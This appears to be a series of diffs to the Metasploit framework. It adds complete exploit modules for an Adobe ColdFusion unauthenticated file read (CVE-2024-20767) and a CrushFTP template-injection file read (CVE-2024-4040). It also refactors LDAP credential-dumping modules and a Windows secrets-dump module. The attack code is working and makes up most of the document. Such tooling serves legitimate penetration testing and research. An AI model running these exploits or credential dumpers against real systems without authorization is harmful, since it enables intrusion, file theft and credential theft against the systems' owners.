||||
print_line(hash)
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'CVE-2024-20767 - Adobe Coldfusion Arbitrary File Read',
|
||||
'Description' => %q{
|
||||
This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version
|
||||
'2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication
|
||||
token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that
|
||||
UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability.
|
||||
},
|
||||
'Author' => [
|
||||
'ma4ter', # Analysis & Discovery
|
||||
'yoryio', # PoC
|
||||
'Christiaan Beek', # Msf module
|
||||
'jheysel-r7' # Msf module assistance
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2024-20767'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html'],
|
||||
['URL', 'https://jeva.cc/2973.html'],
|
||||
|
||||
],
|
||||
'DisclosureDate' => '2024-03-12',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8500),
|
||||
OptString.new('TARGETURI', [true, 'The base path for ColdFusion', '/']),
|
||||
OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),
|
||||
OptInt.new('NUMBER_OF_LINES', [true, 'Number of lines to retrieve', 10000]),
|
||||
OptInt.new('DEPTH', [true, 'Traversal Depth', 5]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_uuid
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', '_servermanager', 'servermanager.cfc'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'method' => 'getHeartBeat'
|
||||
}
|
||||
})
|
||||
fail_with(Failure::Unreachable, 'No response from the target when attempting to retrieve the UUID') unless res
|
||||
|
||||
# TODO: give a more detailed error message once we find out why some of the seemingly vulnerable test targets return a 500 here.
|
||||
fail_with(Failure::UnexpectedReply, "Received an unexpected response code: #{res.code} when attempting to retrieve the UUID") unless res.code == 200
|
||||
uuid = res.get_html_document.xpath('//var[@name=\'uuid\']/string/text()').text
|
||||
fail_with(Failure::UnexpectedReply, 'There was no UUID in the response') unless uuid =~ /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
|
||||
uuid
|
||||
end
|
||||
|
||||
def run
|
||||
print_status('Attempting to retrieve UUID ...')
|
||||
uuid = get_uuid
|
||||
print_good("UUID found: #{uuid}")
|
||||
print_status("Attempting to exploit directory traversal to read #{datastore['FILE_PATH']}")
|
||||
|
||||
traversal_path = '../' * datastore['DEPTH']
|
||||
file_path = "#{traversal_path}#{datastore['FILE_PATH']}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'pms'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'module' => 'logging',
|
||||
'file_name' => file_path,
|
||||
'number_of_lines' => datastore['NUMBER_OF_LINES']
|
||||
},
|
||||
'headers' =>
|
||||
{
|
||||
'uuid' => uuid
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, 'No response received') unless res
|
||||
|
||||
if res.code == 200
|
||||
print_good('File content received:')
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Failed to retrieve file content, server responded with status code: #{res.code}")
|
||||
end
|
||||
|
||||
file_contents = []
|
||||
res.body[1..-2].split(', ').each do |html_response_line|
|
||||
print_status(html_response_line)
|
||||
file_contents << html_response_line
|
||||
end
|
||||
|
||||
stored_path = store_loot('coldfusion.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH'])
|
||||
print_good("Results saved to: #{stored_path}")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,178 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'CrushFTP Unauthenticated Arbitrary File Read',
|
||||
'Description' => %q{
|
||||
This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and
|
||||
< 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without
|
||||
authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The
|
||||
primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote
|
||||
code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'remmons-r7', # MSF Module & Rapid7 Analysis
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2024-4040'],
|
||||
['URL', 'https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis']
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
# The CrushFTP.log file will contain a log of the HTTP requests
|
||||
# Similarly, files in logs/session_logs/ will contain a log of the HTTP requests
|
||||
# The sessions.obj file will temporarily persist details of recent requests
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]),
|
||||
OptString.new('TARGETFILE', [true, 'The target file to read. This can be a full path, a relative path, or a network share path (if firewalls permit). Files containing binary data may not be read accurately', 'users/MainUsers/groups.XML']),
|
||||
OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/']),
|
||||
OptEnum.new('INJECTINTO', [true, 'The CrushFTP API function to inject into', 'zip', ['zip', 'exists']])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie
|
||||
res_anonymous_check = get_anon_session
|
||||
|
||||
return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to get 404 page response (confirm target and SSL settings)') unless res_anonymous_check
|
||||
|
||||
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
|
||||
if (res_anonymous_check.code != 404) || !res_anonymous_check.get_cookies.include?('CrushAuth')
|
||||
return Msf::Exploit::CheckCode::Unknown('The application did not return a 404 response that provided an anonymous session cookie')
|
||||
end
|
||||
|
||||
# Extract the CrushAuth anonymous session cookie value using regex
|
||||
crushauth_cookie = res_anonymous_check&.get_cookies&.match(/\d{13}_[A-Za-z0-9]{30}/)
|
||||
|
||||
# The string "password" is included to invoke CrushFTP's sensitive parameter redaction in logs. The injection will be logged as "********"
|
||||
# NOTE: Due to an apparent bug in the way CrushFTP redacts data, if file paths contain ":", some of the injection will be leaked in logs
|
||||
res_template_inject = perform_template_injection(datastore['INJECTINTO'], '{user_name}password', crushauth_cookie)
|
||||
|
||||
return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to get template injection page response') unless res_template_inject
|
||||
|
||||
# Confirm that the "{user_name}" template injection evaluates to "anonymous" in the response. If it does not, the application is not vulnerable
|
||||
unless res_template_inject.body.include?('anonymous')
|
||||
return Msf::Exploit::CheckCode::Safe('Server-side template injection failed - CrushFTP did not evaluate the injected payload')
|
||||
end
|
||||
|
||||
Msf::Exploit::CheckCode::Vulnerable('Server-side template injection successful!')
|
||||
end
|
||||
|
||||
def run
|
||||
# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie
|
||||
print_status('Fetching anonymous session cookie...')
|
||||
res_anonymous = get_anon_session
|
||||
|
||||
fail_with(Failure::Unknown, 'Connection failed - unable to get 404 page response') unless res_anonymous
|
||||
|
||||
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
|
||||
if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/
|
||||
fail_with(Failure::Unknown, 'The application did not return a 404 response that provided an anonymous session cookie')
|
||||
end
|
||||
|
||||
# Extract the CrushAuth cookie value from the response 'Set-Cookie' data
|
||||
crushauth_cookie = res_anonymous&.get_cookies&.match(/\d{13}_[A-Za-z0-9]{30}/)
|
||||
|
||||
file_name = datastore['TARGETFILE']
|
||||
|
||||
print_status("Using template injection to read file: #{file_name}")
|
||||
|
||||
# These tags will be used to identify the beginning and end of the file data in the response
|
||||
# The string "_pass_" is prepended to the injection to invoke CrushFTP sensitive parameter redaction in logs. The injection will be logged as "********"
|
||||
# NOTE: Due to an apparent bug in the way CrushFTP redacts data, if file paths contain ":", some of the injection will be leaked in logs
|
||||
file_begin_tag = '_pass_'
|
||||
file_end_tag = 'file-end'
|
||||
|
||||
# Perform the template injection for file read
|
||||
res_steal_file = perform_template_injection(datastore['INJECTINTO'], "#{file_begin_tag}<INCLUDE>#{file_name}</INCLUDE>#{file_end_tag}", crushauth_cookie)
|
||||
|
||||
# Check for failure conditions
|
||||
fail_with(Failure::Unknown, 'Connection failed - unable to perform template injection') unless res_steal_file
|
||||
|
||||
if (res_steal_file&.code != 200) || !(res_steal_file.body.include? file_begin_tag)
|
||||
fail_with(Failure::Unknown, 'The application did not respond as expected - the response did not return a 200 status with file contents in the body')
|
||||
end
|
||||
|
||||
if res_steal_file.body.include? "#{file_begin_tag}<INCLUDE>#{file_name}</INCLUDE>#{file_end_tag}"
|
||||
fail_with(Failure::NotFound, 'The requested file was not found - the target file does not exist or the system cannot read it')
|
||||
end
|
||||
|
||||
# Isolate the file contents in the response by extracting data between the begin and end tags
|
||||
file_data = res_steal_file.body[res_steal_file.body.index(file_begin_tag) + file_begin_tag.length..]
|
||||
file_data = file_data.split(file_end_tag)[0]
|
||||
|
||||
if datastore['STORE_LOOT']
|
||||
store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'File read from CrushFTP server')
|
||||
print_good('Stored the file data to loot...')
|
||||
else
|
||||
# A new line is sent before file contents for better readability
|
||||
print_good("File read succeeded! \n#{file_data}")
|
||||
end
|
||||
end
|
||||
|
||||
# A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie
|
||||
def get_anon_session
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'WebInterface/')
|
||||
)
|
||||
end
|
||||
|
||||
# The 'zip' API function is used here, but any unauthenticated API function that reflects parameter data in the response should work
|
||||
def perform_template_injection(page, payload, cookie)
|
||||
if page == 'zip'
|
||||
send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),
|
||||
'cookie' => "CrushAuth=#{cookie}",
|
||||
'headers' => { 'Connection' => 'close' },
|
||||
'vars_post' => {
|
||||
'command' => 'zip',
|
||||
# This value will be printed in responses to unauthenticated zip requests, resulting in template payload execution
|
||||
'path' => payload,
|
||||
'names' => '/',
|
||||
# The c2f parameter must be the last four characters of the primary session cookie
|
||||
'c2f' => cookie.to_s[-4..]
|
||||
}
|
||||
}
|
||||
)
|
||||
# The 'page' value is "exists"
|
||||
elsif page == 'exists'
|
||||
send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),
|
||||
'cookie' => "CrushAuth=#{cookie}",
|
||||
'headers' => { 'Connection' => 'close' },
|
||||
'vars_post' => {
|
||||
'command' => 'exists',
|
||||
# This value will be printed in responses to "exists" requests, resulting in template payload execution
|
||||
'paths' => payload,
|
||||
# The c2f parameter must be the last four characters of the primary session cookie
|
||||
'c2f' => cookie.to_s[-4..]
|
||||
}
|
||||
}
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,6 +1,7 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::OptionalSession::LDAP
|
||||
|
||||
ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP = 0x00000001
|
||||
ADS_GROUP_TYPE_GLOBAL_GROUP = 0x00000002
|
||||
@@ -459,7 +460,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
unless (@base_dn = ldap.base_dn)
|
||||
fail_with(Failure::NotFound, "Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
@@ -473,9 +474,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
find_enrollable_vuln_certificate_templates
|
||||
print_vulnerable_cert_info
|
||||
end
|
||||
rescue Errno::ECONNRESET
|
||||
fail_with(Failure::Disconnected, 'The connection was reset.')
|
||||
rescue Rex::ConnectionError => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
|
||||
fail_with(Failure::NoAccess, e.message)
|
||||
rescue Net::LDAP::Error => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -5,9 +5,10 @@
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::OptionalSession::LDAP
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -33,7 +34,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'DefaultAction' => 'Dump',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
'SSL' => true,
|
||||
'RPORT' => 636
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
@@ -44,7 +46,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(636), # SSL/TLS
|
||||
OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]),
|
||||
OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
@@ -68,7 +69,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
unless opres.error_message.to_s.empty?
|
||||
msg += " - #{opres.error_message}"
|
||||
end
|
||||
print_error("#{peer} #{msg}")
|
||||
print_error("#{ldap.peerinfo} #{msg}")
|
||||
end
|
||||
|
||||
# PoC using ldapsearch(1):
|
||||
@@ -85,36 +86,28 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
entries_returned = 0
|
||||
|
||||
print_status("#{peer} Connecting...")
|
||||
ldap_new do |ldap|
|
||||
if ldap.get_operation_result.code == 0
|
||||
vprint_status("#{peer} LDAP connection established")
|
||||
vprint_status("#{ldap.peerinfo} LDAP connection established")
|
||||
else
|
||||
# Even if we get "Invalid credentials" error, we may proceed with anonymous bind
|
||||
print_ldap_error(ldap)
|
||||
end
|
||||
|
||||
@rhost = ldap.peerhost
|
||||
@rport = ldap.peerport
|
||||
|
||||
if (base_dn_tmp = datastore['BASE_DN'])
|
||||
vprint_status("#{peer} User-specified base DN: #{base_dn_tmp}")
|
||||
vprint_status("#{ldap.peerinfo} User-specified base DN: #{base_dn_tmp}")
|
||||
naming_contexts = [base_dn_tmp]
|
||||
else
|
||||
vprint_status("#{peer} Discovering base DN(s) automatically")
|
||||
vprint_status("#{ldap.peerinfo} Discovering base DN(s) automatically")
|
||||
|
||||
begin
|
||||
# HACK: fix lack of read/write timeout in Net::LDAP
|
||||
Timeout.timeout(@read_timeout) do
|
||||
naming_contexts = get_naming_contexts(ldap)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contexts')
|
||||
ensure
|
||||
unless ldap.get_operation_result.code == 0
|
||||
print_ldap_error(ldap)
|
||||
end
|
||||
end
|
||||
naming_contexts = ldap.naming_contexts
|
||||
print_ldap_error(ldap) unless ldap.get_operation_result.code == 0
|
||||
|
||||
if naming_contexts.nil? || naming_contexts.empty?
|
||||
vprint_warning("#{peer} Falling back to an empty base DN")
|
||||
vprint_warning("#{ldap.peerinfo} Falling back to an empty base DN")
|
||||
naming_contexts = ['']
|
||||
end
|
||||
end
|
||||
@@ -123,14 +116,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
@user_attr ||= datastore['USER_ATTR']
|
||||
@user_attr ||= 'dn'
|
||||
vprint_status("#{peer} Taking '#{@user_attr}' attribute as username")
|
||||
vprint_status("#{ldap.peerinfo} Taking '#{@user_attr}' attribute as username")
|
||||
|
||||
pass_attr ||= datastore['PASS_ATTR']
|
||||
@pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)
|
||||
|
||||
# Dump root DSE for useful information, e.g. dir admin
|
||||
if @max_loot.nil? || (@max_loot > 0)
|
||||
print_status("#{peer} Dumping data for root DSE")
|
||||
print_status("#{ldap.peerinfo} Dumping data for root DSE")
|
||||
|
||||
ldap_search(ldap, 'root DSE', {
|
||||
ignore_server_caps: true,
|
||||
@@ -139,7 +132,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
naming_contexts.each do |base_dn|
|
||||
print_status("#{peer} Searching base DN='#{base_dn}'")
|
||||
print_status("#{ldap.peerinfo} Searching base DN='#{base_dn}'")
|
||||
entries_returned += ldap_search(ldap, base_dn, {
|
||||
base: base_dn
|
||||
})
|
||||
@@ -165,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
attributes: %w[* + -]
|
||||
}
|
||||
Tempfile.create do |f|
|
||||
f.write("# LDIF dump of #{peer}, base DN='#{base_dn}'\n")
|
||||
f.write("# LDIF dump of #{ldap.peerinfo}, base DN='#{base_dn}'\n")
|
||||
f.write("\n")
|
||||
begin
|
||||
# HACK: fix lack of read/write timeout in Net::LDAP
|
||||
@@ -185,18 +178,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
rescue Timeout::Error
|
||||
print_error("#{peer} Host timeout reached while searching '#{base_dn}'")
|
||||
print_error("#{ldap.peerinfo} Host timeout reached while searching '#{base_dn}'")
|
||||
return entries_returned
|
||||
ensure
|
||||
unless ldap.get_operation_result.code == 0
|
||||
print_ldap_error(ldap)
|
||||
end
|
||||
if entries_returned > 0
|
||||
print_status("#{peer} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
|
||||
print_status("#{ldap.peerinfo} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
|
||||
f.rewind
|
||||
pillage(f.read, base_dn)
|
||||
elsif ldap.get_operation_result.code == 0
|
||||
print_error("#{peer} No entries returned for '#{base_dn}'.")
|
||||
print_error("#{ldap.peerinfo} No entries returned for '#{base_dn}'.")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -204,7 +197,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def pillage(ldif, base_dn)
|
||||
vprint_status("#{peer} Storing LDAP data for base DN='#{base_dn}' in loot")
|
||||
vprint_status("Storing LDAP data for base DN='#{base_dn}' in loot")
|
||||
|
||||
ltype = base_dn.clone
|
||||
ltype.gsub!(/ /, '_')
|
||||
@@ -223,11 +216,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
|
||||
unless ldif_filename
|
||||
print_error("#{peer} Could not store LDAP data in loot")
|
||||
print_error('Could not store LDAP data in loot')
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} Saved LDAP data to #{ldif_filename}")
|
||||
print_good("Saved LDAP data to #{ldif_filename}")
|
||||
end
|
||||
|
||||
def decode_pwdhistory(hash)
|
||||
@@ -253,7 +246,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
address: @rhost,
|
||||
port: rport,
|
||||
port: @rport,
|
||||
protocol: 'tcp',
|
||||
service_name: 'ldap'
|
||||
}
|
||||
@@ -369,7 +362,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# highlight unresolved hashes
|
||||
hash_format = '{crypt}' if hash =~ /{crypt}/i
|
||||
|
||||
print_good("#{peer} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")
|
||||
print_good("#{@rhost}:#{@rport} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")
|
||||
|
||||
# known hash types should have been identified,
|
||||
# let's assume the rest are clear text passwords
|
||||
|
||||
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Exploit::Remote::LDAP::Queries
|
||||
include Msf::OptionalSession::LDAP
|
||||
require 'json'
|
||||
require 'yaml'
|
||||
|
||||
@@ -128,18 +129,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
ldap_connect do |ldap|
|
||||
validate_bind_success!(ldap)
|
||||
|
||||
if (base_dn = datastore['BASE_DN'])
|
||||
print_status("User-specified base DN: #{base_dn}")
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (base_dn = discover_base_dn(ldap))
|
||||
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
|
||||
schema_dn = find_schema_naming_context(ldap)
|
||||
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") unless ldap.base_dn
|
||||
base_dn = ldap.base_dn
|
||||
print_status("#{ldap.peerinfo} Discovered base DN: #{base_dn}")
|
||||
|
||||
schema_dn = ldap.schema_dn
|
||||
case action.name
|
||||
when 'RUN_QUERY_FILE'
|
||||
unless datastore['QUERY_FILE_PATH']
|
||||
@@ -152,7 +146,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fail_with(Failure::BadConfig, "No queries loaded from #{datastore['QUERY_FILE_PATH']}!")
|
||||
end
|
||||
|
||||
run_queries_from_file(ldap, parsed_queries, base_dn, schema_dn, datastore['OUTPUT_FORMAT'])
|
||||
run_queries_from_file(ldap, parsed_queries, schema_dn, datastore['OUTPUT_FORMAT'])
|
||||
return
|
||||
when 'RUN_SINGLE_QUERY'
|
||||
unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES']
|
||||
@@ -198,10 +192,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status("Query returned #{result_count} result#{result_count == 1 ? '' : 's'}.")
|
||||
end
|
||||
end
|
||||
rescue Rex::ConnectionTimeout
|
||||
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
|
||||
rescue Errno::ECONNRESET
|
||||
fail_with(Failure::Disconnected, 'The connection was reset.')
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
|
||||
fail_with(Failure::NoAccess, e.message)
|
||||
rescue Net::LDAP::Error => e
|
||||
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
|
||||
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
attr_reader :loaded_queries # Queries loaded from the yaml config file
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::OptionalSession::LDAP
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
@@ -37,7 +38,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'DefaultAction' => 'Dump',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
'SSL' => true,
|
||||
'RPORT' => 636
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
@@ -48,7 +50,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(636), # SSL/TLS
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it'])
|
||||
])
|
||||
end
|
||||
@@ -77,30 +78,30 @@ class MetasploitModule < Msf::Auxiliary
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
unless (@base_dn = ldap.base_dn)
|
||||
print_warning('Falling back on default base DN dc=vsphere,dc=local')
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Dumping LDAP data from vmdir service at #{peer}")
|
||||
print_status("Dumping LDAP data from vmdir service at #{ldap.peerinfo}")
|
||||
|
||||
# A "-" meta-attribute will dump userPassword (hat tip Hynek)
|
||||
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/ldap-head/result.c#L647-L654
|
||||
entries = ldap.search(base: base_dn, attributes: %w[* + -])
|
||||
|
||||
# Look for an entry with a non-empty vmwSTSPrivateKey attribute
|
||||
unless entries&.find { |entry| entry[:vmwstsprivatekey].any? }
|
||||
print_error("#{ldap.peerinfo} is NOT vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
|
||||
print_error('Dump failed')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
print_good("#{ldap.peerinfo} is vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
|
||||
pillage(entries)
|
||||
|
||||
# HACK: Stash discovered base DN in CheckCode reason
|
||||
Exploit::CheckCode::Vulnerable(base_dn)
|
||||
end
|
||||
|
||||
# Look for an entry with a non-empty vmwSTSPrivateKey attribute
|
||||
unless entries&.find { |entry| entry[:vmwstsprivatekey].any? }
|
||||
print_error("#{peer} is NOT vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
|
||||
print_error('Dump failed')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
print_good("#{peer} is vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
|
||||
pillage(entries)
|
||||
|
||||
# HACK: Stash discovered base DN in CheckCode reason
|
||||
Exploit::CheckCode::Vulnerable(base_dn)
|
||||
rescue Net::LDAP::Error => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
Exploit::CheckCode::Unknown
|
||||
|
||||
@@ -7,7 +7,6 @@ require 'ruby_smb/dcerpc/client'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Util::WindowsRegistry
|
||||
include Msf::Util::WindowsCryptoHelpers
|
||||
@@ -34,11 +33,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Name' => 'Windows Secrets Dump',
|
||||
'Description' => %q{
|
||||
Dumps SAM hashes and LSA secrets (including cached creds) from the
|
||||
remote Windows target without executing any agent locally. First, it
|
||||
reads as much data as possible from the registry and then save the
|
||||
hives locally on the target (%SYSTEMROOT%\Temp\random.tmp). Finally, it
|
||||
downloads the temporary hive files and reads the rest of the data
|
||||
from it. This temporary files are removed when it's done.
|
||||
remote Windows target without executing any agent locally. This is
|
||||
done by remotely updating the registry key security descriptor,
|
||||
taking advantage of the WriteDACL privileges held by local
|
||||
administrators to set temporary read permissions.
|
||||
|
||||
This can be disabled by setting the `INLINE` option to false and the
|
||||
module will fallback to the original implementation, which consists
|
||||
in saving the registry hives locally on the target
|
||||
(%SYSTEMROOT%\Temp\<random>.tmp), downloading the temporary hive
|
||||
files and reading the data from it. This temporary files are removed
|
||||
when it's done.
|
||||
|
||||
On domain controllers, secrets from Active Directory is extracted
|
||||
using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need
|
||||
@@ -57,7 +62,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Alberto Solino', # Original Impacket code
|
||||
'Christophe De La Fuente', # MSf module
|
||||
'Christophe De La Fuente', # MSF module
|
||||
'antuache' # Inline technique
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'],
|
||||
@@ -78,7 +84,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
)
|
||||
|
||||
register_options([ Opt::RPORT(445) ])
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(445),
|
||||
OptBool.new(
|
||||
'INLINE',
|
||||
[ true, 'Use inline technique to read protected keys from the registry remotely without saving the hives to disk', true ],
|
||||
